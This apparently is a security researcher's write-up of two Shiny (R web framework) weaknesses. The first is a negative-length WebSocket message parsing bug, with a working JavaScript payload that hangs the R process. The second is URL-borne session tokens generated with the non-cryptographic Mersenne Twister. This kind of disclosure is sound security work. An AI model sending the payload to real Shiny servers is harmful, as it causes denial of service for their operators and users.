This post shares two of my findings from a quick look at Shiny, the most popular web framework for use with the R programming language.
Shiny applications primarily communicate dynamic data via a WebSocket accessible at the path /websocket. The code responsible for parsing attacker controlled data received over the WebSocket was found within the decodeMessage function in side R/server.R. The function reads an integer length value, but disregards the possibility of a negative value.
/websocket
decodeMessage
R/server.R
decodeMessage <- function(data) { readInt <- function(pos) { packBits(rawToBits(data[pos:(pos+3)]), type='integer') } [...] i <- 5 parts <- list() while (i <= length(data)) { length <- readInt(i) i <- i + 4 if (length != 0) parts <- append(parts, list(data[i:(i+length-1)])) else parts <- append(parts, list(raw(0))) i <- i + length }
The first adjustment of the variable i is an increase of 4, so by specifying a length of -4, which is used for the second adjustment, the value of i effectively never increases, resulting in an infinite loop.
i
4
-4
To test if your application is vulnerable, the following client-side JavaScript can be executed. If vulnerable, CPU usage of the R process should stay at 100% and memory usage will steadily climb.
R
Shiny.shinyapp.$socket.send( new Uint8Array([ 0x02, 0x02, 0x02, 0x01, // needed to reach the while loop 0xfc, 0xff, 0xff, 0xff // -4 in two's complement representation ]) )
Within the sessionHandler function defined in the file R/middleware-shiny.R I found that session tokens are accepted as part of the URL
sessionHandler
R/middleware-shiny.R
sessionHandler <- function(req) { path <- req$PATH_INFO if (is.null(path)) return(NULL) matches <- regmatches(path, regexec('^(/session/([0-9a-f]+))(/.*)$', path)) if (length(matches[[1]]) == 0) return(NULL) session <- matches[[1]][3] subpath <- matches[[1]][4] shinysession <- appsByToken$get(session)
I am not the first person to discover this, as it has been reported to the Shiny developers multiple times. In a comment by a developer on the issue, it is explained that the impact is lower than typical session tokens in other applications, with the following caveat:
If Bob gets ahold of one of Alice's download URLs while Alice is still on the page, he can access the same download file she would get if she clicked the link.
There is a not yet merged pull request to ensure the logged-in user matches when handling session-specific routes.
This lead me to investigating how the tokens are generated. The hope was that tokens would be generated in a predictable manner, allowing access to all download URLs. The tokens are generated using the createUniqueId function:
createUniqueId
createUniqueId <- function(bytes, prefix = "", suffix = "") { withPrivateSeed({ paste( prefix, paste( format(as.hexmode(sample(256, bytes, replace = TRUE)-1), width=2), collapse = ""), suffix, sep = "" ) }) }
The randomness of token comes from the sample function call in the above code. This means the default random number generator (RNG) of R is used, the Mersenne Twister, which is not a cryptographically secure pseudorandom number generator (CSPRNG).
sample
$ R --quiet > RNGkind() [1] "Mersenne-Twister" "Inversion" "Rejection"